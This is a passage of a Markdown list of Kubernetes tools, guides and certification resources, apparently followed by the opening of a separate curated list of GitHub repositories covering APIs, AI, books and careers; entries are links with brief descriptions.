- :green_heart:[Kubectl-debug](https://github.com/JamesTGrant/kubectl-debug) :fire::fire::fire::fire::fire: - `kubectl-debug` is an out-of-tree solution for troubleshooting running pods, which allows you to run a new container in running pods for debugging purpose.
- :green_heart:[KubeInvaders](https://github.com/lucky-sideburn/KubeInvaders) :fire::fire::fire: - Through KubeInvaders you can stress Kubernetes cluster in a fun way and check how it is resilient.
- :green_heart:[Kubetest](https://github.com/vapor-ware/kubetest) :fire: - Kubetest is a pytest plugin that makes it easier to manage a Kubernetes cluster within your integration tests.
- :green_heart:[Litmus](https://github.com/litmuschaos/litmus) :fire::fire::fire::fire::fire: - Litmus provides tools to orchestrate chaos on Kubernetes to help SREs find weaknesses in their deployments.
- :green_heart:[popeye](https://popeyecli.io/) :fire::fire::fire::fire::fire: - Popeye is a utility that scans live Kubernetes cluster and reports potential issues with deployed resources and configurations.
- :green_heart:[PowerfulSeal](https://github.com/bloomberg/powerfulseal) :fire::fire::fire::fire: - PowerfulSeal injects failure into your Kubernetes clusters, so that you can detect problems as early as possible.
- :green_heart:[Testkube](https://github.com/kubeshop/testkube) :fire::fire::fire: - Testkube is a Kubernetes native Testing Framework for test orchestration and execution. It allows you to run any of your tests inside a Kubernetes cluster. Integrates with your CI/CD and allows you to follow a GitOps approach to Testing while having a centralized place for all of your Test Results accross all clusters.
### Monitoring, Alerts, and Visualization
- :green_heart:[BotKube](https://github.com/infracloudio/botkube) :fire::fire::fire::fire: - BotKube integration with Slack or Mattermost helps you monitor your Kubernetes cluster, debug critical deployments and gives recommendations for standard practices by running checks on the Kubernetes resources.
- :green_heart:[Cortex](https://github.com/cortexproject/cortex) :fire::fire::fire::fire::fire: - Cortex provides horizontally scalable, highly available, multi-tenant, long term storage for Prometheus.
- :green_heart:[Goldilocks](https://github.com/FairwindsOps/goldilocks) :fire::fire::fire: - Goldilocks is a utility that can help you identify a starting point for resource requests and limits.
- :green_heart:[Grafana](https://github.com/grafana/grafana) :fire::fire::fire::fire::fire: - Grafana allows you to query, visualize, alert on and understand your metrics no matter where they are stored.
- :green_heart:[Helm Dashboard](https://github.com/komodorio/helm-dashboard) :fire::fire::fire::fire: - The missing UI for Helm. The Helm Dashboard plugin offers a UI-driven way to view installed Helm charts, see their revision history and corresponding k8s resources.
- :green_heart:[k8s-image-availability-exporter](https://github.com/flant/k8s-image-availability-exporter) :fire: - Prometheus exporter that warns you proactively about images that are defined in Kubernetes objects but are not available in the container registry.
- :green_heart:[Kiali](https://github.com/kiali/kiali) :fire::fire::fire::fire::fire: - Kiali works with Istio to visualise the service mesh topology.
- :green_heart:[kube-capacity](https://github.com/robscott/kube-capacity) :fire::fire::fire: - This is a simple CLI that provides an overview of the resource requests, limits, and utilization in a Kubernetes cluster.
- :green_heart:[kube-state-metrics](https://github.com/kubernetes/kube-state-metrics) :fire::fire::fire::fire::fire: - kube-state-metrics is a simple service that listens to the Kubernetes API server and generates metrics about the state of the objects.
- :green_heart:[Kubernetes Dashboard](https://github.com/kubernetes/dashboard) :fire::fire::fire::fire::fire: - Kubernetes Dashboard is a general purpose, web-based UI for Kubernetes clusters.
- :green_heart:[Kubernetes Metrics Server](https://github.com/kubernetes-sigs/metrics-server) :fire::fire::fire::fire::fire: - Metrics Server is a scalable, efficient source of container resource metrics for Kubernetes built-in autoscaling pipelines.
- :green_heart:[Kubernetes Operational View](https://github.com/hjacobs/kube-ops-view) :fire::fire::fire::fire: - A tool that aims to provide a common operational picture for multiple Kubernetes clusters.
- :green_heart:[kubewatch](https://github.com/robusta-dev/kubewatch) :fire::fire::fire::fire::fire: - `kubewatch` is a Kubernetes watcher that currently publishes notification to available collaboration hubs/notification channels.
- :green_heart:[Lens](https://github.com/lensapp/lens) :fire::fire::fire::fire::fire: - Lens it's an useful, attractive, open source user interface (UI) for working with Kubernetes clusters.
- :green_heart:[Mizu](https://github.com/up9inc/mizu) :fire::fire::fire: - API traffic viewer for Kubernetes enabling you to view all API communication between microservices. Think TCPDump and Wireshark re-invented for Kubernetes
- :green_heart:[Network mapper](https://github.com/otterize/network-mapper) :fire::fire: - Map Kubernetes in-cluster traffic and export as text, intents, or an image.
- :green_heart:[Popeye](https://github.com/derailed/popeye) :fire::fire::fire::fire::fire: - Popeye is a utility that scans live Kubernetes cluster and reports potential issues with deployed resources and configurations.
- :green_heart:[Prometheus](https://github.com/prometheus/prometheus) :fire::fire::fire::fire::fire: - Prometheus, a Cloud Native Computing Foundation project, is a systems and service monitoring system.
- :green_heart:[Searchlight](https://github.com/searchlight/searchlight) :fire::fire: - Searchlight/Icinga periodically runs various checks on a Kubernetes cluster and sends notifications if detects an issue.
- :green_heart:[Sloop](https://github.com/salesforce/sloop) :fire::fire::fire: - Sloop monitors Kubernetes, recording histories of events and resource state changes and providing visualizations to aid in debugging past events.
- :green_heart:[Thanos](https://github.com/thanos-io/thanos) :fire::fire::fire::fire::fire: - Thanos is a set of components that can be composed into a highly available metric system with unlimited storage capacity.
- :green_heart:[Kubedev](https://github.com/relferreira/kubedev) :fire: - Kubedev is a powerful and beautiful user interface for managing Kubernetes clusters.
- :green_heart:[KubeHelper](https://github.com/KubeHelper/kubehelper) :fire: - KubeHelper - simplifies many daily Kubernetes cluster tasks through a web interface.
### Backup and Restore
- :green_heart:[katafygio](https://github.com/bpineau/katafygio) :fire: - katafygio discovers Kubernetes objects (deployments, services, ...), and continuously save them as yaml files in a git repository.
- :green_heart:[Velero](https://github.com/vmware-tanzu/velero) :fire::fire::fire::fire::fire: - Velero (formerly Heptio Ark) gives you tools to back up and restore your Kubernetes cluster resources and persistent volumes.
### Security and Compliance
- :green_heart:[Datree](https://github.com/datreeio/datree) :fire::fire::fire::fire::fire: - Datree is a CLI tool that supports Kubernetes admins in their roles by preventing developers from making errors in Kubernetes configurations that can cause clusters to fail in production.
- :green_heart:[Deepfence ThreatMapper](https://github.com/deepfence/ThreatMapper) :fire::fire::fire: - Apache v2, powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless.
- :green_heart:[Falco](https://github.com/falcosecurity/falco) :fire::fire::fire::fire::fire: - Falco is a behavioral activity monitor designed to detect anomalous activity in your applications. You can use Falco to monitor run-time security of your Kubernetes applications and internal components.
- :green_heart:[Gatekeeper](https://github.com/open-policy-agent/gatekeeper) :fire::fire::fire::fire::fire: - Policy controller for Kubernetes
- :green_heart:[Intents operator](https://github.com/otterize/intents-operator) :fire::fire: - Manage network policies, Istio Authorization Policies, and Kafka ACLs in a Kubernetes cluster with ease.
- :green_heart:[k-rail](https://github.com/cruise-automation/k-rail) :fire::fire: - k-rail is a workload policy enforcement tool for Kubernetes. It can help you secure a multi tenant cluster with minimal disruption and maximum velocity.
- :green_heart:[Konstraint](https://github.com/plexsystems/konstraint) :fire::fire: - Konstraint is a CLI tool to assist with the creation and management of constraints when using Gatekeeper.
- :green_heart:[kube-bench](https://github.com/aquasecurity/kube-bench) :fire::fire::fire::fire::fire: - kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the CIS Kubernetes Benchmark.
- :green_heart:[kube-hunter](https://github.com/aquasecurity/kube-hunter) :fire::fire::fire::fire::fire: - kube-hunter hunts for security weaknesses in Kubernetes clusters.
- :green_heart:[KubeLinter](https://github.com/stackrox/kube-linter) :fire::fire::fire::fire: - KubeLinter is a static analysis tool that checks Kubernetes YAML files and Helm charts to ensure the applications represented in them adhere to best practices.
- :green_heart:[Kubesploit](https://github.com/cyberark/kubesploit) :fire::fire::fire: - Kubesploit is a cross-platform post-exploitation HTTP/2 Command & Control server and agent dedicated for containerized environments written in Golang and built on top of Merlin project by Russel Van Tuyl (@Ne0nd0g).
- :green_heart:[KubiScan](https://github.com/cyberark/KubiScan) :fire::fire::fire: - A tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model.
- :green_heart:[Kyverno](https://github.com/kyverno/kyverno) :fire::fire::fire::fire: - Kyverno is a policy engine designed for Kubernetes. It can validate, mutate, and generate configurations using admission controls and background scans.
- :green_heart:[Netchecks](https://github.com/hardbyte/netchecks/) :fire: - Set of tools for testing network conditions and asserting that they are as expected.
- :green_heart:[Permission manager](https://github.com/sighupio/permission-manager) :fire::fire::fire: - Permission Manager is an application developed by SIGHUP that enables a super-easy and user-friendly RBAC management for Kubernetes.
- :green_heart:[rakkess](https://github.com/corneliusweig/rakkess) :fire::fire::fire: - kubectl plugin to show an access matrix for server resources
- :green_heart:[Rönd](https://github.com/rond-authz/rond) :fire: - Rönd is an open-source lightweight Kubernetes sidecar container that helps you protect your APIs with simple security policies. It also natively allows you to build your RBAC/ABAC solution.
- :green_heart:[Teleport](https://github.com/gravitational/teleport) :fire::fire::fire::fire::fire: - Teleport Unified Access Plane enables engineers to quickly access any computing resource anywhere.
### Service Mesh
- :green_heart:[Istio](https://github.com/istio/istio) :fire::fire::fire::fire::fire: - An open platform to connect, manage, and secure microservices.
- :green_heart:[Linkerd](https://github.com/linkerd/linkerd) :fire::fire::fire::fire::fire: - Linkerd is a transparent service mesh, designed to make modern applications safe and sane.
- :green_heart:[Open Service Mesh](https://github.com/openservicemesh/osm/) :fire::fire::fire::fire::fire: - Open Service Mesh (OSM) is a lightweight, extensible, Cloud Native service mesh that allows users to uniformly manage, secure, and get out-of-the-box observability features for highly dynamic microservice environments.
### Development Tools
- :green_heart:[Eclipse JKube](https://github.com/eclipse/jkube) :fire::fire: - Tools and plugins for Java developers that help you create container images along with the required manifests to deploy your applications to Kubernetes.
- :green_heart:[garden](https://github.com/garden-io/garden) :fire::fire::fire::fire::fire: - Garden provides production-like Kubernetes testing environments for integration tests, QA, and development.
- :green_heart:[gefyra](https://github.com/gefyrahq/gefyra) :fire::fire::fire: -Gefyra blazingly-fast, rock-solid, local application development ➡️ with Kubernetes.
- :green_heart:[ko](https://github.com/google/ko) :fire::fire::fire::fire::fire: - `ko` is a tool for building and deploying Golang applications to Kubernetes.
- :green_heart:[Konfig](https://github.com/cloud66-oss/konfig) :fire: - Konfig is a Kubernetes friendly Rails gem. It can load configuration and secrets from both YAML or folders with individual files and present them to your application the same way.
- :green_heart:[kubevious](https://github.com/kubevious/Kubevious) :fire::fire::fire::fire: - Kubevious renders all configurations relevant to the application in one place. That saves a lot of time from operators, eliminating the need for looking up settings and digging within selectors and labels.
- :green_heart:[kubectl-warp](https://github.com/ernoaapa/kubectl-warp) :fire::fire: - Kubernetes CLI plugin for syncing and executing local files in Pod on Kubernetes
- :green_heart:[kubernix](https://github.com/saschagrunert/kubernix) :fire::fire::fire: - This project aims to provide single dependency Kubernetes clusters for local testing, experimenting and development purposes.
- :green_heart:[Makisu](https://github.com/uber/makisu) :fire::fire::fire::fire::fire: - Makisu is a fast and flexible Docker image build tool designed for unprivileged containerized environments such as Mesos or Kubernetes.
- :green_heart:[mirrord](https://github.com/metalbear-co/mirrord) :fire::fire::fire::fire::fire: - mirrord connects your local process and your cloud environment, and runs local code in cloud conditions.
- :green_heart:[Monokle](https://github.com/kubeshop/monokle) :fire::fire::fire: - Monokle helps you create, edit and validate yaml manifests, visualize and validate resource links and dependencies, connect and compare resources to your clusters, debug the output of kustomize or helm, and more!
- :green_heart:[Okteto](https://github.com/okteto/okteto) :fire::fire::fire::fire: - `okteto` accelerates the development workflow of Kubernetes applications.
- :green_heart:[Telepresence](https://github.com/telepresenceio/telepresence) :fire::fire::fire::fire::fire: - Telepresence provides fast, realistic local development for Kubernetes microservices.
- :green_heart:[Tilt](https://github.com/tilt-dev/tilt) :fire::fire::fire::fire::fire: - Tilt powers multi-service development and makes sure they behave.
- :green_heart:[Tye](https://github.com/dotnet/tye) :fire::fire::fire::fire::fire: - Tye is a developer tool that makes developing, testing, and deploying microservices and distributed applications easier.
- [Aptakube](https://aptakube.com) - A modern, lightweight and multi-cluster desktop client for Kubernetes. Connect to multiple clusters simultaneously to view, edit and manage all your resources.
### Data Processing and Machine Learning
- :green_heart:[Kubeflow](https://github.com/kubeflow/kubeflow) :fire::fire::fire::fire::fire: - Kubeflow is a Cloud Native platform for machine learning based on Google’s internal machine learning pipelines.
- :green_heart:[nos](https://github.com/nebuly-ai/nos) :fire::fire: - `nos` is an open-source platform to efficiently run AI workloads on Kubernetes, increasing GPU utilization and reducing infrastructure and operational costs.
- :green_heart:[Strimzi](https://github.com/strimzi/strimzi-kafka-operator) :fire::fire::fire::fire::fire: - Strimzi provides a way to run an Apache Kafka cluster on Kubernetes or OpenShift in various deployment configurations.
- :green_heart:[Volcano](https://github.com/volcano-sh/volcano) :fire::fire::fire::fire: - Volcano is a batch system built on Kubernetes.
- :green_heart:[yunikorn](https://github.com/apache/incubator-yunikorn-core) :fire::fire: - a light-weight, universal resource scheduler for container orchestrator systems.
### Data Management
- :green_heart:[Kubegres](https://github.com/reactive-tech/kubegres) :fire::fire::fire: - Kubegres is a Kubernetes operator allowing to deploy one or many clusters of PostgreSql pods with data replication and failover enabled out-of-the box.
- :green_heart:[Postgres Operator](https://github.com/CrunchyData/postgres-operator) :fire::fire::fire::fire::fire: - PGO, the Postgres Operator from Crunchy Data, gives you a declarative Postgres solution that automatically manages your PostgreSQL clusters.
- :green_heart:[MongoDB Community Kubernetes Operator](https://github.com/mongodb/mongodb-kubernetes-operator) :fire::fire: - This is a Kubernetes Operator which deploys MongoDB Community into Kubernetes clusters.
- :green_heart:[MySQL Operator for Kubernetes](https://github.com/mysql/mysql-operator) :fire: - The MYSQL Operator for Kubernetes is an Operator for Kubernetes managing MySQL InnoDB Cluster setups inside a Kubernetes Cluster.
- :green_heart:[Redis Operator](https://github.com/spotahome/redis-operator) :fire::fire::fire: - Redis Operator creates/configures/manages redis-failovers atop Kubernetes.
### Miscellaneous
- :green_heart:[Agones](https://github.com/googleforgames/agones) :fire::fire::fire::fire::fire: - Agones is a library for hosting, running and scaling dedicated game servers on Kubernetes.
- :green_heart:[AWS Controllers for Kubernetes](https://github.com/aws/aws-controllers-k8s) :fire::fire::fire::fire: - AWS Controllers for Kubernetes (ACK) lets you define and use AWS service resources directly from Kubernetes.
- :green_heart:[AWS Node Termination Handler](https://github.com/aws/aws-node-termination-handler) :fire::fire::fire: - A Kubernetes Daemonset to gracefully handle EC2 instance shutdown
- :green_heart:[Brigade](https://github.com/brigadecore/brigade/) :fire::fire::fire::fire::fire: - Brigade is the tool for creating pipelines for Kubernetes.
- :green_heart:[Crossplane](https://github.com/crossplane/crossplane) :fire::fire::fire::fire::fire: - Crossplane is an open source Kubernetes add-on that extends any cluster with the ability to provision and manage cloud infrastructure, services, and applications.
- :green_heart:[Descheduler for Kubernetes](https://github.com/kubernetes-sigs/descheduler) :fire::fire::fire::fire::fire: - Descheduling pods from nodes based on policies
- :green_heart:[Devtron](https://github.com/devtron-labs/devtron) :fire::fire::fire::fire: - It is designed as a self-serve platform for operationalizing and maintaining applications (AppOps) on kubernetes in a developer friendly way.
- :green_heart:[OpenCost](https://github.com/opencost/opencost) :fire::fire::fire::fire::fire: - OpenCost models give teams visibility into current and historical Kubernetes spend and resource allocation.
- :green_heart:[K8sPurger](https://github.com/yogeshkk/K8sPurger) :fire: - `K8sPurger` Hunt Unused Resources In Kubernetes.
- :green_heart:[KubeEdge](https://github.com/kubeedge/kubeedge) :fire::fire::fire::fire::fire: - KubeEdge is built upon Kubernetes and extends native containerized application orchestration and device management to hosts at the Edge.
- :green_heart:[KubePug](https://github.com/rikatz/kubepug) :fire::fire: - A tool to check deprecations before upgrading Kubernetes version
- :green_heart:[Shell-operator](https://github.com/flant/shell-operator) :fire::fire::fire::fire: - Shell-operator is a tool for running event-driven scripts in a Kubernetes cluster.
## Guides, Documentations, Blogs, and Learnings
### Guides
- [A Beginner’s Guide to Kubernetes](https://medium.com/containermind/a-beginners-guide-to-kubernetes-7e8ca56420b6) - A comprehensive introduction to Kubernetes architecture
- [A Deep Dive Into Kubernetes Schema Validation](https://www.datree.io/resources/kubernetes-schema-validation) - A guide about the Kubernetes schema and how to validate it using OSS and native tools
- [A Guide to the Kubernetes Networking Model](https://sookocheff.com/post/kubernetes/understanding-kubernetes-networking-model/) - A in-depth run-through of Kubernetes networking
- [Amazon EKS Best Practices Guide for Security](https://aws.github.io/aws-eks-best-practices/) - This guide provides advice about protecting information, systems, and assets that are reliant on EKS while delivering business value through risk assessments and mitigation strategies.
- [Amazon EKS Node Drainer](https://github.com/aws-samples/amazon-k8s-node-drainer) :fire: - A guide and an example to cordon and evict all evictable pods from an EC2 node being terminated.
- [Comparison of Kubernetes Ingress controllers](https://docs.google.com/spreadsheets/d/191WWNpjJ2za6-nbG4ZoUMXMpUK8KlCIosvQB0f-oq3k/htmlview?pru=AAABdXUHlbs*g6XkyoZXhanlhRazst77Xw) - This research compares the capabilities of 14 different Kubernetes Ingress controllers.
- [Configuring HA Kubernetes cluster on bare metal servers with kubeadm](https://medium.com/faun/configuring-ha-kubernetes-cluster-on-bare-metal-servers-with-kubeadm-1-2-1e79f0f7857b) - A guide to standing up a HA Kubernetes cluster on bare metal servers with kubeadm.
- [Introduction to Using Google Kubernetes Engine; Explain Like I’m Five!](https://medium.com/faun/google-kubernetes-engine-explain-like-im-five-1890e550c099) - Creating your first managed Kubernetes cluster on Google Kubernetes Engine using Terraform.
- [Kubernetes Network Policy Recipes](https://github.com/ahmetb/kubernetes-network-policy-recipes) :fire::fire::fire::fire::fire: - This repository contains various use cases of Kubernetes Network Policies and sample YAML files to leverage in your setup.
- [Kubernetes The Hard Way](https://github.com/kelseyhightower/kubernetes-the-hard-way) :fire::fire::fire::fire::fire: - Kubernetes The Hard Way guides you through bootstrapping a highly available Kubernetes cluster with end-to-end encryption between components and RBAC authentication.
- [Kubernetes Working Group for Multi-Tenancy](https://github.com/kubernetes-sigs/multi-tenancy) :fire::fire::fire: - This is a working place for multi-tenancy related proposals and prototypes.
- [Production grade Kubernetes Monitoring using Prometheus](https://medium.com/faun/production-grade-kubernetes-monitoring-using-prometheus-78144b835b60) - A in-depth guide to deploy Prometheus monitoring solution.
- [The Illustrated Children’s Guide to Kubernetes](https://www.cncf.io/phippy/the-childrens-illustrated-guide-to-kubernetes/) - Graphical explanations of Kubernetes
- [Troubleshooting Kubernetes deployments](https://learnk8s.io/a/troubleshooting-kubernetes.pdf) - A flow chart to troubleshoot a kubernetes deployment in case of issues
- [Vertical Pod Autoscaling: The Definitive Guide](https://povilasv.me/vertical-pod-autoscaling-the-definitive-guide/) - An in-depth explanation on Kubernetes VPA: what it is, how it works, how to use it and which limitations it has.
- [Writing Your First Kubernetes Operator](https://medium.com/faun/writing-your-first-kubernetes-operator-8f3df4453234) - In this article, we’ll see how to build and deploy your first Kubernetes Operator using the Operator SDK.
### Blogs and Videos
- [10 most common mistakes using kubernetes](https://blog.pipetail.io/posts/2020-05-04-most-common-mistakes-k8s/) - Common pitfalls and how to avoid them.
- [How the Department of Defense Moved to Kubernetes and Istio](https://www.youtube.com/watch?v=YjZ4AZ7hRM0) - Focus on the sidecar security stack leveraging Envoy and sidecar containers to ensure zero trust security and baked-in multi-layer security.
- [Kubernetes at Reddit: Tales from Production](https://youtu.be/WTbIBqNcjoQ) - Hear of successes, share in the heartbreak of production explosions, and gain insight into what has and hasn't worked well for one of the world's busiest web properties.
- [Kubernetes Failure Stories](https://github.com/hjacobs/kubernetes-failure-stories) :fire::fire::fire::fire::fire: - A compiled list of links to public failure stories related to Kubernetes.
- [Life of a Packet](https://www.youtube.com/watch?v=0Omvgd7Hg1I) - Tracing the path of network traffic in the Kubernetes system.
- [OPA Deep Dive](https://www.youtube.com/watch?v=Uj2N9S58GLU) - Deep dive on some exciting new features in the OPA project presented by the co-creators.
- [Scaling Kubernetes to 2,500 Nodes](https://openai.com/blog/scaling-kubernetes-to-2500-nodes/) + [Scaling Kubernetes to 7,500 Nodes](https://openai.com/blog/scaling-kubernetes-to-7500-nodes/) - Issues you will encounter when running high-scale Kubernetes workloads.
- [Service Mesh Comparison](https://servicemesh.es/) - An easy compensation to help choose one of the service Mesh implementations.
- [ArgoCD Best Practices](https://datree.io/resources/argocd-best-practices-you-should-know)
### Learnings and Documentations
- [A Beginner’s Guide to Kubernetes](https://medium.com/containermind/a-beginners-guide-to-kubernetes-7e8ca56420b6) - A comprehensive introduction to Kubernetes architecture
- [ConfigMaps in Kubernetes: how they work and what you should remember](https://blog.flant.com/configmaps-in-kubernetes-how-they-work-and-what-you-should-remember/) - Understanding the evolution to ConfigMaps, how they work and what happens when they change.
- [Configuring Redis using a ConfigMap](https://kubernetes.io/docs/tutorials/configuration/configure-redis-using-configmap/) - A walkthrough that provides a real world example of how to configure Redis using a ConfigMap
- [Example: Deploying Cassandra with a StatefulSet](https://kubernetes.io/docs/tutorials/stateful-application/cassandra/) - This tutorial shows you how to run Apache Cassandra on Kubernetes. Cassandra, a database, needs persistent storage to provide data durability.
- [Example: Deploying PHP Guestbook application with Redis](https://kubernetes.io/docs/tutorials/stateless-application/guestbook/) - This tutorial shows you how to build and deploy a simple, multi-tier web application using Kubernetes and Docker.
- [Example: Deploying WordPress and MySQL with Persistent Volumes](https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/) - This tutorial shows you how to deploy a WordPress site and a MySQL database using Minikube.
- [Exposing an External IP Address to Access an Application in a Cluster](https://kubernetes.io/docs/tutorials/stateless-application/expose-external-ip-address/) - This guide shows how to create a Kubernetes Service object that exposes an external IP address.
- [Katacoda](https://www.katacoda.com/courses/kubernetes/playground) - This is a Kubernetes playground, a safe place designed for experimenting, exploring and learning Kubernetes.
- [kubectl Cheat Sheet](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) - An official list of commonly used kubectl commands and flags.
- [Kubectl Kubernetes CheatSheet](https://github.com/dennyzhang/cheatsheet-kubernetes-A4) :fire::fire::fire::fire: - A cheatsheet containing many helpful kubectl commands
- [Kubernetes API Reference Docs](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/) - A high-level overview of the basic types of resources provided by the Kubernetes API and their primary functions.
- [Learn Kubernetes Basics](https://kubernetes.io/docs/tutorials/kubernetes-basics/) - This tutorial provides a walkthrough of the basics of the Kubernetes cluster orchestration system.
- [Play with Kubernetes](https://labs.play-with-k8s.com/) - Play with Kubernetes is a playground which allows users to run K8s clusters in a matter of seconds.
- [Ready-to-use commands and tips for kubectl](https://blog.flant.com/ready-to-use-commands-and-tips-for-kubectl/) - Various kubectl tips and tricks by Flant’s engineers.
- [Running ZooKeeper, A Distributed System Coordinator](https://kubernetes.io/docs/tutorials/stateful-application/zookeeper/) - This tutorial demonstrates running Apache Zookeeper on Kubernetes using StatefulSets, PodDisruptionBudgets, and PodAntiAffinity.
- [Set Up a CI/CD Pipeline with Kubernetes](https://www.linux.com/audience/enterprise/set-cicd-pipeline-kubernetes-part-1-overview/) - A end-to-end guide to set up a CI/CD Pipeline with Kubernetes.
- [StatefulSet Basics](https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/) - This tutorial provides an introduction to managing applications with StatefulSets.
- [Webinar: K8s with OPA Gatekeeper](https://www.youtube.com/watch?v=v4wJE3I8BYM) - How to use OPA to control what end-users can do on the cluster and ways to ensure that clusters are in compliance with company policies.
### Certification Guides
- [Certified Kubernetes Security Specialist - CKSS](https://github.com/ijelliti/CKSS-Certified-Kubernetes-Security-Specialist) :fire::fire: - This repository is a collection of resources to prepare for the Certified Kubernetes Security Specialist (CKSS) exam.
- [CKS "Certified Kubernetes security specialist certification](https://github.com/walidshaari/Certified-Kubernetes-Security-Specialist) :fire::fire::fire::fire: - Kubernetes security resources primarly from material allowed during the exam, and extra optional items to help you advance your container and kubernetes security journey.
- [How to pass the Certified Kubernetes Administrator (CKA) exam on the first attempt](https://medium.com/faun/how-to-pass-certified-kubernetes-administrator-cka-exam-on-first-attempt-36c0ceb4c9e) - A guide to pass CKA exam
- [The ultimate CKA "Certfified Kuberenetes Administator" resource since exam inception](https://github.com/walidshaari/Kubernetes-Certified-Administrator) - An updated repo of offical resources to help you master the CKA exam as well some extra resources to consolidate your kubernetes administration knowledge.
- [Kubernetes Exam Simulator](https://killer.sh/) - CKS/CKA/CKAD exams scenarios and environment.
## Contribute
Contributions welcome! Read the [contribution guidelines](contributing.md) first.
## License
[](https://creativecommons.org/publicdomain/zero/1.0)
To the extent possible under law, Tom Huang has waived all copyright and
related or neighboring rights to this work.
|
<div align='center'>
# 📕 Useful GitHub Repositories
<!-- Bannar -->
<img src="https://i.postimg.cc/C5ktS7PF/Git-Hub-Repos-That-Every-Developer-Should-Follow-1.png">
*A curated list of GitHub Repositories full of FREE Resources.*
</div>
<br>
## ▶️ Content
- [API](#api)
- [Artificial Intelligence](#Artificial-Intelligence)
- [Awesome](#Awesome)
- [Books](#books)
- [Career](#career)
- [Competitive Programming](#Competitive-Programming)
- [CheatSheets](#cheatsheets)
- [Cloud](#cloud)
- [Courses & Certifications](#courses--certifications)
- [Development](#Development)
- [Frameworks](#frameworks)
- [Front-End Development](#Front-End-Development)
- [Back-End Development](#Back-End-Development)
- [Git & GitHub](#Git--GitHub)
- [Programming Languages](#programming-languages)
- [Opportunities & Programs](#opportunities--programs)
- [Projects](#Projects)
- [Security](#security)
- [Web Development Tools](#Web-Development-Tools)
- [System Design](#system-design)
- [Unix](#Unix)
- [Web](#web)
<hr>
### API
Repository | Description | License |
|---|---|---|
| [Public-Apis](https://github.com/public-apis/public-apis) | A collective list of free APIs | [MIT](https://github.com/public-apis/public-apis/blob/master/LICENSE) |
| [GraphQL-Apis](https://github.com/IvanGoncharov/graphql-apis) | 📜 A collective list of public GraphQL APIs | [MIT](https://github.com/public-apis/public-apis/blob/master/LICENSE) |
### Artificial Intelligence
Repository | Description | License |
|---|---|---|
| [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) | A curated list of awesome Machine Learning frameworks, libraries and software | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
|[handson-ml](https://github.com/ageron/handson-ml2)|A series of Jupyter notebooks that walk you through the fundamentals of Machine Learning and Deep Learning| [Apache-2.0](https://github.com/ageron/handson-ml2/blob/master/LICENSE) |
### Awesome
| Repository | Description | License |
| -------------------------------------------------------------- | ------------------------------------------------------------------------------ | ---------------------------------------------------------------------- |
| [Awesome](https://github.com/sindresorhus/awesome) | 😎 Awesome lists about all kinds of interesting topics | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Awesome](https://github.com/awesome-windows/awesome) | 💻 🎉 An awesome & curated list of best applications and tools for **Windows** | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Awesomeness](https://github.com/bayandin/awesome-awesomeness) | A curated list of awesome awesomeness | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode) |
### Books
Repository | Description | License |
|---|---|---|
| [Free Programming Books](https://github.com/EbookFoundation/free-programming-books) | :books: Freely available programming books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [GoBooks](https://github.com/dariubs/GoBooks) | List of Golang books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [JavaScript](https://github.com/javascript-society/javascript-path) | 📚 List of books to master JavaScript Development 🚀 | No License |
| [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books) | 📚 Books everyone should read | [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/legalcode) |
| [Python Books](https://github.com/Junnplus/awesome-python-books) | 📚 Directory of Python books | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [TypeScript Books](https://github.com/basarat/typescript-book) | :books: The definitive guide to TypeScript and possibly the best TypeScript book 📖. Free and Open Source 🌹 | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/legalcode ) |
| [frontend-dev-bookmarks](https://github.com/dypsilon/frontend-dev-bookmarks) | :books: Manually curated collection of resources for frontend web developers. | [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0 ) |
### Career
| Repository | Description | License |
| --- | --- | --- |
| [Become A Full Stack Web Developer](https://github.com/bmorelli25/Become-A-Full-Stack-Web-Developer) | Free resources for learning Full Stack Web Development | [MIT](https://github.com/bmorelli25/Become-A-Full-Stack-Web-Developer/blob/master/LICENSE) |
| [Clean Code JavaScript](https://github.com/ryanmcdermott/clean-code-javascript) | 🛁 Clean Code concepts adapted for JavaScript | [MIT](https://github.com/ryanmcdermott/clean-code-javascript/blob/master/LICENSE) |
| [Coding Interview University](https://github.com/jwasham/coding-interview-university) | A complete computer science study plan to become a software engineer. | [CC-BY-SA-4.0](https://creativecommons.org/licenses/by-sa/4.0/) |
| [Computer Science (OSSU)](https://github.com/ossu/computer-science) | 🎓 Path to a free self-taught education in Computer Science! | [MIT](https://github.com/ossu/computer-science/blob/master/LICENSE) |
| [CS Courses](https://github.com/prakhar1989/awesome-courses) | 📚 List of awesome university courses for learning Computer Science! | No License |
| [Developer Roadmap](https://github.com/kamranahmedse/developer-roadmap) | Roadmap to becoming a web developer in 2021 | [Custom](https://github.com/kamranahmedse/developer-roadmap/blob/master/LICENSE) |
| [Easy Application](https://github.com/j-delaney/easy-application) | Over 400 software engineering companies that are easy to apply to | [MIT](https://github.com/j-delaney/easy-application/blob/master/LICENSE) |
| [FrontEnd Developer Interview Questions](https://github.com/h5bp/Front-end-Developer-Interview-Questions) | A list of helpful front-end related questions you can use to interview potential candidates, test yourself or completely ignore | [MIT](https://github.com/h5bp/Front-end-Developer-Interview-Questions/blob/main/LICENSE.md) |
| [Hiring Without Whiteboards](https://github.com/poteto/hiring-without-whiteboards) | ⭐️ Companies that don't have a broken hiring process | [MIT](https://github.com/poteto/hiring-without-whiteboards/blob/master/LICENSE.md) |
